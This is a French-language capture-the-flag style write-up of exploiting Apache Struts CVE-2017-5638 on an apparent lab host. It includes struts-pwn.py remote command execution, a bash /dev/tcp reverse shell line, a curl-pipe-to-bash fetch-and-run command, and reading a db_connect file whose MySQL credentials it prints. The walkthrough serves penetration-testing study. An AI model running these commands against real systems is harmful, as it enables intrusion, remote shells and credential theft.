> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/apache-struts-exploitation-.action.md).

# Apache Struts

Exploitation RCE de la CVE-2017-5638 d’Apache Struts, exécution de commandes, tentatives de shell inversé et notes d’extraction d’identifiants.

## Exploitation d'Apache Struts (CVE-2017-5638)

#### **Surveillance de l'énumération des répertoires**

Lors de l'inscription, l'application renvoie une erreur. Le `.action` l'extension suggère une application Apache Struts.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Utilisez `struts-pwn.py` pour tester l'exécution de commandes à distance :

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

La commande fonctionne, confirmant la vulnérabilité.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Shell inversé**

1. Configurer un écouteur Netcat :

```bash
nc -nvlp 443
```

2. Créer un `index.html` fichier contenant le shell inversé :

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hébergez le fichier avec un serveur web Python :

```
python3 -m http.server 8080
```

4. Exécutez le shell inversé via l'exploit :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Malheureusement, cette approche échoue.

### **Extraction d'informations sensibles**

Lister les fichiers sur le serveur :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le `db_connect` fichier contient des identifiants :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Identifiants MySQL récupérés :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraction d'informations - mysqlshow


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